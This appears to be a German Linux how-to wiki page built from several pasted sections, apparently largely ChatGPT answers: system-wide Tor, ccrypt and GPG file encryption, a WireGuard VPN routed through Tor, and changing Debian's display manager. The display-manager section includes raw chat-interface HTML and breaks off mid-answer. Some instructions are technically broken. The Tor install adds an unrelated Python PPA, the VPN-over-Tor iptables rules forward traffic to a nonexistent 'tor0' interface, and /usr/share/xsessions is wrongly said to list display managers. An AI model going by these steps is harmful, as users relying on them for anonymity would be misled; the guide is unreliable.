10\. Wenn du die verschlüsselten Dateien nicht mehr benötigst, kannst du den Ordner unmounten, indem du den folgenden Befehl ausführst:  
 ```  
 fusermount -u ~/decrypted\_folder  
 ```

Das war's! Du hast jetzt erfolgreich einen Ordner in Linux verschlüsselt.

# Tor Systemweit

Um eine systemweite Verbindung zu Tor auf einem Linux-Rechner einzurichten, kannst du den Tor-Dienst installieren und konfigurieren. Hier sind die Schritte dazu:

1\. **Tor installieren**:  
\- Öffne ein Terminal und füge das Tor-Repository hinzu:

```
sudo add-apt-repository universe
sudo add-apt-repository ppa:deadsnakes/ppa
sudo apt update
sudo apt install tor
```

2\. **Tor konfigurieren**:  
\- Bearbeite die Tor-Konfigurationsdatei:

```
sudo nano /etc/tor/torrc
```

  
\- Füge folgende Zeilen hinzu, um Tor als Proxy zu verwenden:

```
SocksPort 9050
```

  
\- Speichere die Datei und schließe den Editor.

3\. **Tor-Dienst starten**:  
\- Starte den Tor-Dienst:

```
sudo systemctl start tor
sudo systemctl enable tor
```

4\. **Systemweite Proxy-Einstellungen**:  
\- Konfiguriere deine Anwendungen, um den Tor-Proxy zu verwenden. Du kannst dies in den Netzwerkeinstellungen deiner Anwendungen tun, indem du den Proxy auf `localhost` und den Port auf `9050` setzt.

5\. **Überprüfung**:  
\- Überprüfe, ob der Tor-Dienst läuft:

```
sudo systemctl status tor
```

Diese Schritte sollten dir helfen, eine systemweite Verbindung zu Tor auf deinem Linux-Rechner einzurichten \[1\](https://de.linux-console.net/?p=4857) \[2\](https://de.wikihow.com/Unter-Linux-Tor-installieren). Wenn du weitere Fragen hast oder auf Probleme stößt, lass es mich wissen!

Um Tor systemweit auf einem Debian-Rechner zu installieren und es für spezielle Anwendungen zu verwenden, kannst du die folgenden Schritte befolgen:

\### 1. Tor installieren

Zuerst musst du das Tor-Paket installieren. Öffne ein Terminal und führe die folgenden Befehle aus:

```bash  
sudo apt update  
sudo apt install tor  
```

\### 2. Tor konfigurieren

Die Konfigurationsdatei für Tor befindet sich normalerweise unter `/etc/tor/torrc`. Du kannst diese Datei mit einem Texteditor deiner Wahl bearbeiten:

```bash  
sudo nano /etc/tor/torrc  
```

Hier kannst du verschiedene Einstellungen vornehmen, z.B. den Port, den Tor verwenden soll, oder spezifische Anwendungsregeln.

\### 3. Tor-Dienst starten

Starte den Tor-Dienst mit dem folgenden Befehl:

```bash  
sudo systemctl start tor  
```

Um sicherzustellen, dass Tor beim Booten automatisch gestartet wird, kannst du den folgenden Befehl verwenden:

```bash  
sudo systemctl enable tor  
```

\### 4. Anwendungen für Tor konfigurieren

Um spezielle Anwendungen über Tor zu leiten, gibt es verschiedene Ansätze, je nach Anwendung:

\#### a. Browser (z.B. Firefox)

Um Firefox über Tor zu verwenden, kannst du den Tor-Browser herunterladen und installieren. Alternativ kannst du Firefox so konfigurieren, dass es den Tor-Proxy verwendet:

1\. Öffne Firefox und gehe zu den Einstellungen.  
2\. Wähle „Netzwerkeinstellungen“ und klicke auf „Einstellungen…“.  
3\. Wähle „Manuelle Proxy-Konfiguration“ und setze den SOCKS-Host auf `127.0.0.1` und den Port auf `9050`.  
4\. Aktiviere die Option „Proxy für DNS verwenden“ und speichere die Einstellungen.

\#### b. Terminal-Anwendungen

Für Terminal-Anwendungen kannst du den Proxy-Umgebungsvariablen setzen. Zum Beispiel:

```bash  
export http\_proxy="socks5://127.0.0.1:9050"  
export https\_proxy="socks5://127.0.0.1:9050"  
```

Füge diese Zeilen in deine `~/.bashrc` oder `~/.bash\_profile` ein, um sie dauerhaft zu machen.

\### 5. Überprüfen der Verbindung

Um zu überprüfen, ob deine Verbindung über Tor funktioniert, kannst du die folgende URL in deinem Browser aufrufen:

```  
https://check.torproject.org/  
```

Diese Seite zeigt dir an, ob du über das Tor-Netzwerk verbunden bist.

\### 6. Sicherheitshinweise

\- Verwende den Tor-Browser für das Surfen im Internet, um die beste Anonymität zu gewährleisten.  
\- Sei vorsichtig mit der Verwendung von Plugins oder Erweiterungen, da diese deine Anonymität gefährden können.

Mit diesen Schritten solltest du in der Lage sein, Tor systemweit auf deinem Debian-Rechner zu installieren und es für spezielle Anwendungen zu verwenden.

# Verschlüsseln von Dateien und E-Mails

<section class="section_2" id="bkmrk-verschl%C3%BCsseln-mit-cc">### Verschlüsseln mit ccrypt

Das Programm [ccrypt](http://ccrypt.sourceforge.net) kann direkt aus den Paketquellen installiert werden.

- Verschlüsseln:
    
    ```
    ccencrypt foobar 
    ```
- Entschlüsseln:
    
    ```
    ccdecrypt foobar 
    ```
- Entschlüsseln – nur auf die Standardausgabe:
    
    ```
    ccat foobar 
    ```

Weitere Informationen bietet die [Manpage](https://wiki.ubuntuusers.de/man/) zur Anwendung.

</section>### GPG

Um ein Dokument zu verschlüsseln, benutzt man die Option <tt class="OPTION">--encrypt</tt>. Dazu müssen Sie die öffentlichen Schlüssel der vorgesehenen Empfänger haben. Sollten Sie auf der Kommandozeile den Namen der zu verschlüsselnden Datei nicht angeben, werden die zu verschlüsselnden Daten von der Standard-Eingabe gelesen. Das verschlüsselte Resultat wird auf die Standard-Ausgabe oder in die Datei, die durch die Option <tt class="OPTION">--output</tt> spezifiziert ist, geschrieben. Das Dokument wird darüberhinaus auch noch komprimiert.

```
<tt class="PROMPT">alice$ </tt> <tt class="USERINPUT"><strong>gpg --output doc.gpg --encrypt --recipient blake@cyb.org doc</strong></tt>
```

Mit der Option <tt class="OPTION">--recipient</tt> wird der öffentliche Schlüssel spezifiziert, mit dem das Dokument verschlüsselt werden soll. Entschlüsseln läßt sich das so verschlüsselte Dokument jedoch nur von jemandem mit dem dazugehörigen geheimen Schlüssel. Das bedeutet konsequenterweise aber auch, daß Sie selbst ein so verschlüsseltes Dokument nur wieder entschlüsseln können, wenn Sie Ihren eigenen öffentlichen Schlüssel in die Empfängerliste aufgenommen haben.

Zum Entschlüsseln einer Nachricht wird die Option <tt class="OPTION">--decrypt</tt> benutzt. Sie benötigen dazu den geheimen Schlüssel, für den die Nachricht verschlüsselt wurde und das Mantra, mit dem der geheime Schlüssel geschützt ist.

```
<tt class="PROMPT">blake$ </tt> <tt class="USERINPUT"><strong>gpg --output doc --decrypt doc.gpg</strong></tt>
Sie benötigen ein Mantra, um den geheimen Schlüssel zu entsperren.
Benutzer: ``Blake (Staatsanwalt) <blake@cyb.org>''
1024-Bit ELG-E Schlüssel, ID F251B862, erzeugt 2000-06-06 (Hauptschlüssel-ID B2690E6F)
```

# VPN über Tor

Um einen VPN-Server mit WireGuard einzurichten, der den ausgehenden Traffic über das Tor-Netzwerk leitet, sind mehrere Schritte erforderlich. Hier ist eine allgemeine Anleitung, wie Sie dies umsetzen können:

\### Voraussetzungen  
\- Ein Server (z. B. ein VPS) mit einem Linux-Betriebssystem (z. B. Ubuntu).  
\- Grundkenntnisse in der Verwendung der Kommandozeile.  
\- Root-Zugriff auf den Server.

\### Schritt 1: WireGuard installieren

1\. \*\*Server aktualisieren\*\*:  
 ```bash  
 sudo apt update  
 sudo apt upgrade  
 ```

2\. \*\*WireGuard installieren\*\*:  
 ```bash  
 sudo apt install wireguard  
 ```

\### Schritt 2: WireGuard konfigurieren

1\. \*\*Schlüssel generieren\*\*:  
 ```bash  
 umask 077  
 wg genkey | tee privatekey | wg pubkey &gt; publickey  
 ```

2\. \*\*WireGuard-Konfigurationsdatei erstellen\*\*:  
 Erstellen Sie eine Datei `/etc/wireguard/wg0.conf` und fügen Sie Folgendes hinzu:  
 ```ini  
 \[Interface\]  
 PrivateKey = &lt;Ihr privater Schlüssel&gt;  
 Address = 10.0.0.1/24 # VPN-Subnetz  
 ListenPort = 51820

 \[Peer\]  
 PublicKey = &lt;Öffentlicher Schlüssel des Clients&gt;  
 AllowedIPs = 10.0.0.2/32 # IP des Clients  
 ```

3\. \*\*WireGuard aktivieren\*\*:  
 ```bash  
 sudo wg-quick up wg0  
 ```

\### Schritt 3: Tor installieren

1\. \*\*Tor installieren\*\*:  
 ```bash  
 sudo apt install tor  
 ```

2\. \*\*Tor konfigurieren\*\*:  
 Bearbeiten Sie die Tor-Konfigurationsdatei `/etc/tor/torrc` und fügen Sie Folgendes hinzu:  
 ```ini  
 SocksPort 9050  
 ```

3\. \*\*Tor-Dienst starten\*\*:  
 ```bash  
 sudo systemctl start tor  
 sudo systemctl enable tor  
 ```

\### Schritt 4: Traffic über Tor leiten

1\. \*\*IP-Forwarding aktivieren\*\*:  
 Bearbeiten Sie die Datei `/etc/sysctl.conf` und stellen Sie sicher, dass die folgende Zeile nicht auskommentiert ist:  
 ```ini  
 net.ipv4.ip\_forward=1  
 ```  
 Wenden Sie die Änderungen an:  
 ```bash  
 sudo sysctl -p  
 ```

2\. \*\*iptables-Regeln hinzufügen\*\*:  
 Fügen Sie die folgenden iptables-Regeln hinzu, um den Traffic über Tor zu leiten:  
 ```bash  
 sudo iptables -t nat -A POSTROUTING -o tor0 -j MASQUERADE  
 sudo iptables -A FORWARD -i wg0 -o tor0 -j ACCEPT  
 sudo iptables -A FORWARD -i tor0 -o wg0 -m state --state ESTABLISHED,RELATED -j ACCEPT  
 ```

3\. \*\*Routing für WireGuard konfigurieren\*\*:  
 Bearbeiten Sie die WireGuard-Konfigurationsdatei `/etc/wireguard/wg0.conf` und fügen Sie die folgende Zeile hinzu:  
 ```ini  
 PostUp = iptables -t nat -A POSTROUTING -o tor0 -j MASQUERADE  
 PostDown = iptables -t nat -D POSTROUTING -o tor0 -j MASQUERADE  
 ```

\### Schritt 5: Client konfigurieren

1\. \*\*Client-Schlüssel generieren\*\* (auf dem Client):  
 ```bash  
 umask 077  
 wg genkey | tee privatekey | wg pubkey &gt; publickey  
 ```

2\. \*\*Client-Konfigurationsdatei erstellen\*\*:  
 Erstellen Sie eine Datei (z. B. `wg0-client.conf`) und fügen Sie Folgendes hinzu:  
 ```ini  
 \[Interface\]  
 PrivateKey = &lt;Ihr privater Schlüssel des Clients&gt;  
 Address = 10.0.0.2/24 # IP des Clients

 \[Peer\]  
 PublicKey = &lt;Öffentlicher Schlüssel des Servers&gt;  
 Endpoint = &lt;Server-IP&gt;:51820  
 AllowedIPs = 0.0.0.0/0 # Leitet gesamten Traffic über den VPN  
 ```

3\. \*\*Client aktivieren\*\*:  
 ```bash  
 sudo wg-quick up wg0-client  
 ```

\### Schritt 6: Testen

\- Überprüfen Sie, ob der Client erfolgreich mit dem Server verbunden ist.  
\- Testen Sie, ob der Traffic über das Tor-Netzwerk geleitet wird, indem Sie eine Website wie `check.torproject.org` besuchen.

\###

# Ändern des Displaymanagers

In Debian können Sie den Desktop-Umgebungsauswahlmanager ändern, indem Sie verschiedene Desktop-Umgebungen installieren und dann auswählen, welche verwendet werden soll. Hier sind die Schritte, um dies zu tun:

<div class="w-full text-token-text-primary" data-testid="conversation-turn-3" id="bkmrk-desktop-umgebungen-i"><div class="px-4 py-2 justify-center text-base md:gap-6 m-auto"><div class="flex flex-1 text-base mx-auto gap-3 md:px-5 lg:px-1 xl:px-5 md:max-w-3xl lg:max-w-[40rem] xl:max-w-[48rem] group"><div class="relative flex w-full flex-col agent-turn"><div class="flex-col gap-1 md:gap-3"><div class="flex flex-grow flex-col max-w-full"><div class="min-h-[20px] text-message flex flex-col items-start gap-3 whitespace-pre-wrap break-words [.text-message+&]:mt-5 overflow-x-auto" data-message-author-role="assistant" data-message-id="0626fd5b-c14d-44bc-ba35-75ee738dab15"><div class="markdown prose w-full break-words dark:prose-invert light">1. **Desktop-Umgebungen installieren**: Debian bietet verschiedene Desktop-Umgebungen zur Auswahl, darunter GNOME, KDE Plasma, Xfce, LXDE und viele andere. Sie können die gewünschte Desktop-Umgebung mit dem Paketmanager Ihrer Wahl installieren. Zum Beispiel können Sie für GNOME den Befehl `sudo apt install gnome` verwenden.
2. **Auswahl des Display Managers (Anmeldebildschirms)**: Der Display Manager ist das Programm, das Ihnen den Anmeldebildschirm anzeigt, an dem Sie Ihren Benutzernamen und Ihr Passwort eingeben. Debian verwendet standardmäßig oft den Display Manager LightDM. Sie können jedoch auch andere Display Manager wie GDM (GNOME Display Manager) oder SDDM (Simple Desktop Display Manager) installieren. Verwenden Sie dazu den Befehl `sudo apt install gdm` für GDM oder `sudo apt install sddm` für SDDM.
3. **Konfiguration des Display Managers**: Nach der Installation des gewünschten Display Managers müssen Sie möglicherweise konfigurieren, welcher verwendet werden soll. Dazu können Sie das Debian-Alternatives-System verwenden. Führen Sie den Befehl `sudo dpkg-reconfigure gdm` aus, um beispielsweise den Display Manager auf GDM umzustellen. Ersetzen Sie `gdm` durch den Namen des von Ihnen installierten Display Managers.
4. **Starten des neuen Desktops**: Starten oder neu starten Sie Ihr System, um den neuen Display Manager und die Desktop-Umgebung zu aktivieren. Beim Anmeldebildschirm sollten Sie nun die Möglichkeit haben, die neu installierte Desktop-Umgebung auszuwählen und sich anzumelden.

</div></div></div></div></div></div></div></div>Bitte beachten Sie, dass diese Schritte je nach Debian-Version und verwendeter Desktop-Umgebung variieren können. Es wird empfohlen, die offizielle Dokumentation von Debian sowie die Dokumentation Ihrer spezifischen Desktop-Umgebung zu konsultieren, um die besten Anleitungen für Ihre Konfiguration zu erhalten.

<div class="w-full text-token-text-primary" data-testid="conversation-turn-3" id="bkmrk-"><div class="px-4 py-2 justify-center text-base md:gap-6 m-auto"><div class="flex flex-1 text-base mx-auto gap-3 md:px-5 lg:px-1 xl:px-5 md:max-w-3xl lg:max-w-[40rem] xl:max-w-[48rem] group"><div class="relative flex w-full flex-col agent-turn"><div class="flex-col gap-1 md:gap-3"><div class="flex flex-grow flex-col max-w-full"><div class="min-h-[20px] text-message flex flex-col items-start gap-3 whitespace-pre-wrap break-words [.text-message+&]:mt-5 overflow-x-auto" data-message-author-role="assistant" data-message-id="0626fd5b-c14d-44bc-ba35-75ee738dab15"><div class="markdown prose w-full break-words dark:prose-invert light">  
</div></div></div><div class="mt-1 flex justify-start gap-3 empty:hidden"><div class="text-gray-400 flex self-end lg:self-center items-center justify-center lg:justify-start mt-0 -ml-1 h-7 gap-[2px] visible"><span class="" data-state="closed"><button class="flex items-center gap-1.5 rounded-md p-1 text-xs text-token-text-tertiary hover:text-token-text-primary md:invisible md:group-hover:visible md:group-[.final-completion]:visible"><svg class="icon-md" fill="none" height="24" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M11 4.9099C11 4.47485 10.4828 4.24734 10.1621 4.54132L6.67572 7.7372C6.49129 7.90626 6.25019 8.00005 6 8.00005H4C3.44772 8.00005 3 8.44776 3 9.00005V15C3 15.5523 3.44772 16 4 16H6C6.25019 16 6.49129 16.0938 6.67572 16.2629L10.1621 19.4588C10.4828 19.7527 11 19.5252 11 19.0902V4.9099ZM8.81069 3.06701C10.4142 1.59714 13 2.73463 13 4.9099V19.0902C13 21.2655 10.4142 22.403 8.81069 20.9331L5.61102 18H4C2.34315 18 1 16.6569 1 15V9.00005C1 7.34319 2.34315 6.00005 4 6.00005H5.61102L8.81069 3.06701ZM20.3166 6.35665C20.8019 6.09313 21.409 6.27296 21.6725 6.75833C22.5191 8.3176 22.9996 10.1042 22.9996 12.0001C22.9996 13.8507 22.5418 15.5974 21.7323 17.1302C21.4744 17.6185 20.8695 17.8054 20.3811 17.5475C19.8927 17.2896 19.7059 16.6846 19.9638 16.1962C20.6249 14.9444 20.9996 13.5175 20.9996 12.0001C20.9996 10.4458 20.6064 8.98627 19.9149 7.71262C19.6514 7.22726 19.8312 6.62017 20.3166 6.35665ZM15.7994 7.90049C16.241 7.5688 16.8679 7.65789 17.1995 8.09947C18.0156 9.18593 18.4996 10.5379 18.4996 12.0001C18.4996 13.3127 18.1094 14.5372 17.4385 15.5604C17.1357 16.0222 16.5158 16.1511 16.0539 15.8483C15.5921 15.5455 15.4632 14.9255 15.766 14.4637C16.2298 13.7564 16.4996 12.9113 16.4996 12.0001C16.4996 10.9859 16.1653 10.0526 15.6004 9.30063C15.2687 8.85905 15.3578 8.23218 15.7994 7.90049Z" fill="currentColor" fill-rule="evenodd"></path></svg></button></span><span class="" data-state="closed"><button class="flex items-center gap-1.5 rounded-md p-1 text-xs text-token-text-tertiary hover:text-token-text-primary md:invisible md:group-hover:visible md:group-[.final-completion]:visible"><svg class="icon-md" fill="none" height="24" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M12 3.5C10.8954 3.5 10 4.39543 10 5.5H14C14 4.39543 13.1046 3.5 12 3.5ZM8.53513 3.5C9.22675 2.3044 10.5194 1.5 12 1.5C13.4806 1.5 14.7733 2.3044 15.4649 3.5H17.25C18.9069 3.5 20.25 4.84315 20.25 6.5V18.5C20.25 20.1569 19.1569 21.5 17.25 21.5H6.75C5.09315 21.5 3.75 20.1569 3.75 18.5V6.5C3.75 4.84315 5.09315 3.5 6.75 3.5H8.53513ZM8 5.5H6.75C6.19772 5.5 5.75 5.94772 5.75 6.5V18.5C5.75 19.0523 6.19772 19.5 6.75 19.5H17.25C18.0523 19.5 18.25 19.0523 18.25 18.5V6.5C18.25 5.94772 17.8023 5.5 17.25 5.5H16C16 6.60457 15.1046 7.5 14 7.5H10C8.89543 7.5 8 6.60457 8 5.5Z" fill="currentColor" fill-rule="evenodd"></path></svg></button></span><div class="flex"><span class="" data-state="closed"><button class="p-1 rounded-md text-token-text-tertiary hover:text-token-text-primary md:invisible md:group-hover:visible md:group-[.final-completion]:visible"><svg class="icon-md" fill="none" height="24" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M11.8727 21.4961C11.6725 21.8466 11.2811 22.0423 10.8805 21.9922L10.4267 21.9355C7.95958 21.6271 6.36855 19.1665 7.09975 16.7901L7.65054 15H6.93226C4.29476 15 2.37923 12.4921 3.0732 9.94753L4.43684 4.94753C4.91145 3.20728 6.49209 2 8.29589 2H18.0045C19.6614 2 21.0045 3.34315 21.0045 5V12C21.0045 13.6569 19.6614 15 18.0045 15H16.0045C15.745 15 15.5054 15.1391 15.3766 15.3644L11.8727 21.4961ZM14.0045 4H8.29589C7.39399 4 6.60367 4.60364 6.36637 5.47376L5.00273 10.4738C4.65574 11.746 5.61351 13 6.93226 13H9.00451C9.32185 13 9.62036 13.1506 9.8089 13.4059C9.99743 13.6612 10.0536 13.9908 9.96028 14.2941L9.01131 17.3782C8.6661 18.5002 9.35608 19.6596 10.4726 19.9153L13.6401 14.3721C13.9523 13.8258 14.4376 13.4141 15.0045 13.1902V5C15.0045 4.44772 14.5568 4 14.0045 4ZM17.0045 13V5C17.0045 4.64937 16.9444 4.31278 16.8338 4H18.0045C18.5568 4 19.0045 4.44772 19.0045 5V12C19.0045 12.5523 18.5568 13 18.0045 13H17.0045Z" fill="currentColor" fill-rule="evenodd"></path></svg></button></span></div></div></div><div class="pr-2 lg:pr-0">  
</div></div></div></div></div></div><div class="w-full text-token-text-primary" data-testid="conversation-turn-4" id="bkmrk-you-wie-kann-ich-nac"><div class="px-4 py-2 justify-center text-base md:gap-6 m-auto"><div class="flex flex-1 text-base mx-auto gap-3 md:px-5 lg:px-1 xl:px-5 md:max-w-3xl lg:max-w-[40rem] xl:max-w-[48rem] group"><div class="flex-shrink-0 flex flex-col relative items-end"><div><div class="pt-0.5"><div class="gizmo-shadow-stroke flex h-6 w-6 items-center justify-center overflow-hidden rounded-full"><div class="relative flex">![User](https://s.gravatar.com/avatar/11f14d5f8cb473384672148ad53a7b56?s=480&r=pg&d=https%3A%2F%2Fcdn.auth0.com%2Favatars%2Fba.png)</div></div></div></div></div><div class="relative flex w-full flex-col"><div class="font-semibold select-none">You</div><div class="flex-col gap-1 md:gap-3"><div class="flex flex-grow flex-col max-w-full"><div class="min-h-[20px] text-message flex flex-col items-start gap-3 whitespace-pre-wrap break-words [.text-message+&]:mt-5 overflow-x-auto" data-message-author-role="user" data-message-id="aaa2a29a-8fb7-4dc1-8901-10209b4bc661"><div class="">Wie kann ich nachschauen welche Displaymanger installiert sind?</div></div></div><div class="mt-1 flex justify-start gap-3 empty:hidden"><div class="text-gray-400 flex self-end lg:self-center items-center justify-center lg:justify-start mt-0 -ml-1 h-7 gap-[2px] visible"><div class="flex items-center gap-1.5 text-xs"><svg class="icon-md" fill="none" height="24" viewbox="0 0 24 24" width="24" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M13.2929 4.29291C15.0641 2.52167 17.9359 2.52167 19.7071 4.2929C21.4783 6.06414 21.4783 8.93588 19.7071 10.7071L18.7073 11.7069L11.1603 19.2539C10.7182 19.696 10.1489 19.989 9.53219 20.0918L4.1644 20.9864C3.84584 21.0395 3.52125 20.9355 3.29289 20.7071C3.06453 20.4788 2.96051 20.1542 3.0136 19.8356L3.90824 14.4678C4.01103 13.8511 4.30396 13.2818 4.7461 12.8397L13.2929 4.29291ZM13 7.41422L6.16031 14.2539C6.01293 14.4013 5.91529 14.591 5.88102 14.7966L5.21655 18.7835L9.20339 18.119C9.40898 18.0847 9.59872 17.9871 9.7461 17.8397L16.5858 11L13 7.41422ZM18 9.5858L14.4142 6.00001L14.7071 5.70712C15.6973 4.71693 17.3027 4.71693 18.2929 5.70712C19.2831 6.69731 19.2831 8.30272 18.2929 9.29291L18 9.5858Z" fill="currentColor" fill-rule="evenodd"></path></svg></div></div></div></div></div></div></div></div><div class="w-full text-token-text-primary" data-testid="conversation-turn-5" id="bkmrk-chatgpt-chatgpt"><div class="px-4 py-2 justify-center text-base md:gap-6 m-auto"><div class="flex flex-1 text-base mx-auto gap-3 md:px-5 lg:px-1 xl:px-5 md:max-w-3xl lg:max-w-[40rem] xl:max-w-[48rem] group"><div class="flex-shrink-0 flex flex-col relative items-end"><div><div class="pt-0.5"><div class="gizmo-shadow-stroke flex h-6 w-6 items-center justify-center overflow-hidden rounded-full"><div class="relative p-1 rounded-sm h-9 w-9 text-white flex items-center justify-center"><svg class="icon-sm" fill="none" height="41" role="img" viewbox="0 0 41 41" width="41" xmlns="http://www.w3.org/2000/svg"><text x="-9999" y="-9999">ChatGPT</text><path d="M37.5324 16.8707C37.9808 15.5241 38.1363 14.0974 37.9886 12.6859C37.8409 11.2744 37.3934 9.91076 36.676 8.68622C35.6126 6.83404 33.9882 5.3676 32.0373 4.4985C30.0864 3.62941 27.9098 3.40259 25.8215 3.85078C24.8796 2.7893 23.7219 1.94125 22.4257 1.36341C21.1295 0.785575 19.7249 0.491269 18.3058 0.500197C16.1708 0.495044 14.0893 1.16803 12.3614 2.42214C10.6335 3.67624 9.34853 5.44666 8.6917 7.47815C7.30085 7.76286 5.98686 8.3414 4.8377 9.17505C3.68854 10.0087 2.73073 11.0782 2.02839 12.312C0.956464 14.1591 0.498905 16.2988 0.721698 18.4228C0.944492 20.5467 1.83612 22.5449 3.268 24.1293C2.81966 25.4759 2.66413 26.9026 2.81182 28.3141C2.95951 29.7256 3.40701 31.0892 4.12437 32.3138C5.18791 34.1659 6.8123 35.6322 8.76321 36.5013C10.7141 37.3704 12.8907 37.5973 14.9789 37.1492C15.9208 38.2107 17.0786 39.0587 18.3747 39.6366C19.6709 40.2144 21.0755 40.5087 22.4946 40.4998C24.6307 40.5054 26.7133 39.8321 28.4418 38.5772C30.1704 37.3223 31.4556 35.5506 32.1119 33.5179C33.5027 33.2332 34.8167 32.6547 35.9659 31.821C37.115 30.9874 38.0728 29.9178 38.7752 28.684C39.8458 26.8371 40.3023 24.6979 40.0789 22.5748C39.8556 20.4517 38.9639 18.4544 37.5324 16.8707ZM22.4978 37.8849C20.7443 37.8874 19.0459 37.2733 17.6994 36.1501C17.7601 36.117 17.8666 36.0586 17.936 36.0161L25.9004 31.4156C26.1003 31.3019 26.2663 31.137 26.3813 30.9378C26.4964 30.7386 26.5563 30.5124 26.5549 30.2825V19.0542L29.9213 20.998C29.9389 21.0068 29.9541 21.0198 29.9656 21.0359C29.977 21.052 29.9842 21.0707 29.9867 21.0902V30.3889C29.9842 32.375 29.1946 34.2791 27.7909 35.6841C26.3872 37.0892 24.4838 37.8806 22.4978 37.8849ZM6.39227 31.0064C5.51397 29.4888 5.19742 27.7107 5.49804 25.9832C5.55718 26.0187 5.66048 26.0818 5.73461 26.1244L13.699 30.7248C13.8975 30.8408 14.1233 30.902 14.3532 30.902C14.583 30.902 14.8088 30.8408 15.0073 30.7248L24.731 25.1103V28.9979C24.7321 29.0177 24.7283 29.0376 24.7199 29.0556C24.7115 29.0736 24.6988 29.0893 24.6829 29.1012L16.6317 33.7497C14.9096 34.7416 12.8643 35.0097 10.9447 34.4954C9.02506 33.9811 7.38785 32.7263 6.39227 31.0064ZM4.29707 13.6194C5.17156 12.0998 6.55279 10.9364 8.19885 10.3327C8.19885 10.4013 8.19491 10.5228 8.19491 10.6071V19.808C8.19351 20.0378 8.25334 20.2638 8.36823 20.4629C8.48312 20.6619 8.64893 20.8267 8.84863 20.9404L18.5723 26.5542L15.206 28.4979C15.1894 28.5089 15.1703 28.5155 15.1505 28.5173C15.1307 28.5191 15.1107 28.516 15.0924 28.5082L7.04046 23.8557C5.32135 22.8601 4.06716 21.2235 3.55289 19.3046C3.03862 17.3858 3.30624 15.3413 4.29707 13.6194ZM31.955 20.0556L22.2312 14.4411L25.5976 12.4981C25.6142 12.4872 25.6333 12.4805 25.6531 12.4787C25.6729 12.4769 25.6928 12.4801 25.7111 12.4879L33.7631 17.1364C34.9967 17.849 36.0017 18.8982 36.6606 20.1613C37.3194 21.4244 37.6047 22.849 37.4832 24.2684C37.3617 25.6878 36.8382 27.0432 35.9743 28.1759C35.1103 29.3086 33.9415 30.1717 32.6047 30.6641C32.6047 30.5947 32.6047 30.4733 32.6047 30.3889V21.188C32.6066 20.9586 32.5474 20.7328 32.4332 20.5338C32.319 20.3348 32.154 20.1698 31.955 20.0556ZM35.3055 15.0128C35.2464 14.9765 35.1431 14.9142 35.069 14.8717L27.1045 10.2712C26.906 10.1554 26.6803 10.0943 26.4504 10.0943C26.2206 10.0943 25.9948 10.1554 25.7963 10.2712L16.0726 15.8858V11.9982C16.0715 11.9783 16.0753 11.9585 16.0837 11.9405C16.0921 11.9225 16.1048 11.9068 16.1207 11.8949L24.1719 7.25025C25.4053 6.53903 26.8158 6.19376 28.2383 6.25482C29.6608 6.31589 31.0364 6.78077 32.2044 7.59508C33.3723 8.40939 34.2842 9.53945 34.8334 10.8531C35.3826 12.1667 35.5464 13.6095 35.3055 15.0128ZM14.2424 21.9419L10.8752 19.9981C10.8576 19.9893 10.8423 19.9763 10.8309 19.9602C10.8195 19.9441 10.8122 19.9254 10.8098 19.9058V10.6071C10.8107 9.18295 11.2173 7.78848 11.9819 6.58696C12.7466 5.38544 13.8377 4.42659 15.1275 3.82264C16.4173 3.21869 17.8524 2.99464 19.2649 3.1767C20.6775 3.35876 22.0089 3.93941 23.1034 4.85067C23.0427 4.88379 22.937 4.94215 22.8668 4.98473L14.9024 9.58517C14.7025 9.69878 14.5366 9.86356 14.4215 10.0626C14.3065 10.2616 14.2466 10.4877 14.2479 10.7175L14.2424 21.9419ZM16.071 17.9991L20.4018 15.4978L24.7325 17.9975V22.9985L20.4018 25.4983L16.071 22.9985V17.9991Z" fill="currentColor"></path></svg></div></div></div></div></div><div class="relative flex w-full flex-col agent-turn"><div class="font-semibold select-none">ChatGPT</div><div class="flex-col gap-1 md:gap-3"><div class="flex flex-grow flex-col max-w-full"><div class="min-h-[20px] text-message flex flex-col items-start gap-3 whitespace-pre-wrap break-words [.text-message+&]:mt-5 overflow-x-auto" data-message-author-role="assistant" data-message-id="6392aab0-807b-4161-bf6c-4f2c898c7ca7"><div class="markdown prose w-full break-words dark:prose-invert light">  
</div></div></div></div></div></div></div></div>Um zu überprüfen, welche Display Manager auf Ihrem Debian-System installiert sind, können Sie entweder den Inhalt des Verzeichnisses `/usr/share/xsessions/` überprüfen oder die Paketliste mit Hilfe des Paketmanagers durchsuchen. Hier sind die Schritte für beide Methoden:

<div class="w-full text-token-text-primary" data-testid="conversation-turn-5" id="bkmrk-%C3%9Cberpr%C3%BCfen-des-inhal"><div class="px-4 py-2 justify-center text-base md:gap-6 m-auto"><div class="flex flex-1 text-base mx-auto gap-3 md:px-5 lg:px-1 xl:px-5 md:max-w-3xl lg:max-w-[40rem] xl:max-w-[48rem] group"><div class="relative flex w-full flex-col agent-turn"><div class="flex-col gap-1 md:gap-3"><div class="flex flex-grow flex-col max-w-full"><div class="min-h-[20px] text-message flex flex-col items-start gap-3 whitespace-pre-wrap break-words [.text-message+&]:mt-5 overflow-x-auto" data-message-author-role="assistant" data-message-id="6392aab0-807b-4161-bf6c-4f2c898c7ca7"><div class="markdown prose w-full break-words dark:prose-invert light">1. **Überprüfen des Inhalts des Verzeichnisses `/usr/share/xsessions/`**: Öffnen Sie ein Terminal und führen Sie den folgenden Befehl aus:
    
